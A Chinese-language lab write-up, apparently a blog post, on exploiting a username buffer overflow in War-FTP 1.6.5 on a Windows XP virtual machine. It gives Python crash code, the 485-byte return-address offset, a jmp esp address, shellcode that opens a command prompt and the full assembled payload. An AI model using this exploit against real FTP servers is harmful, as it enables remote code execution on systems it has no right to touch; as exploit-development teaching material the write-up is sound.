warftp漏洞利用实验
2019-04-24 14:18:55

一 漏洞分析

1.1 验证漏洞

在Windows XP虚拟机中,使用OllyDbg装载war-ftp1.6.5,并运行程序。允许匿名登录FTP。

图1是正常情况下系统的界面:Screen Shot 2019-04-24 at 10.35.17 AM

图1. 正常界面

利用python代码来验证漏洞:

1
2
3
4
from ftplib import FTP 
ftp = FTP(host='10.211.55.9')
user = 'A' * 500
ftp.login(user, 'www')

发送登录请求后,系统还能够正常使用,状态无明显变化,因为warftp是多线程的。

利用CDB进行调试,再次发送登录请求,当登录的用户名长度达到500个字节时,CDB能够捕捉到错误的信息。在调试器中,能够看到EIP指向了41414141(41为’A’的ASCII码)如图2所示:

Screen Shot 2019-04-23 at 11.14.47 PM

图2. 系统崩溃

1.2 定位溢出点地址

利用PatternTool生成2000个不循环的字符串,作为用户名,向warftp发起请求,这里EIP被填充为32714131,执行patterntool,计算出RET的偏移量为485,如图3所示。由于EBP占4个字节,所以存放局部变量的缓冲区大小为481个字节。

Screen Shot 2019-04-24 at 9.48.05 AM

图3. 定位RET

1.3 寻找JMP指令地址

希望通过在RET的位置放置jmp esp指令的地址,来实现程序的跳转。在Windows系统的许多DLL中都能找到这条指令,一个通用的地址是0x7ffa4512

因此继续来验证改地址的指令是否为jmp esp。如图4所示,可以看到地址为0x7ffa4512的指令的确为jmp esp

Screen Shot 2019-04-24 at 9.57.58 AM

图4. 验证指令地址

二 漏洞利用

2.1 构造Shellcode

这里从metasploit上选择一个弹出命令行对话框的Shellcode。

1
2
3
4
5
6
buf += "\x55\x8B\xEC\x33\xFF\x57\x83\xEC\x04\xC6\x45"
buf += "\xF8\x63\xC6\x45\xF9\x6D\xC6\x45\xFA\x64\xC6"
buf += "\x45\xFB\x2E\xC6\x45\xFC\x65\xC6\x45\xFD\x78"
buf += "\xC6\x45\xFE\x65\x6A\x01\x8D\x45\xF8\x50\xBA"
buf += "\xad\x23\x86\x7c"
buf += "\xFF\xD2\xC9"

2.2 定位Shellcode存放位置

在程序崩溃时,查看ESP指向的内容为0x71413471,计算其偏移量为493。说明ESP指向字符串的第493个字节。因此,把Shellcode放在字符串的第493个字节。

Screen Shot 2019-04-24 at 10.14.05 AM

图5. 定位shellcode存放地址

2.3 完整Payload

在确定了Shellcode的存放位置,以及jmp esp指令的地址之后,继续来构造完整的Payload进行攻击。

1
2
3
4
5
6
7
buf = 'A' * 485 + '\x12\x45\xfa\x7f' + 'B' * 4
buf += "\x55\x8B\xEC\x33\xFF\x57\x83\xEC\x04\xC6\x45"
buf += "\xF8\x63\xC6\x45\xF9\x6D\xC6\x45\xFA\x64\xC6"
buf += "\x45\xFB\x2E\xC6\x45\xFC\x65\xC6\x45\xFD\x78"
buf += "\xC6\x45\xFE\x65\x6A\x01\x8D\x45\xF8\x50\xBA"
buf += "\xad\x23\x86\x7c"
buf += "\xFF\xD2\xC9"

2.4 攻击主机

编写攻击代码,向目标发送payload。可以看到成功弹出了命令行。说明攻击成功。

Screen Shot 2019-04-24 at 10.30.59 AM

图6. 攻击成功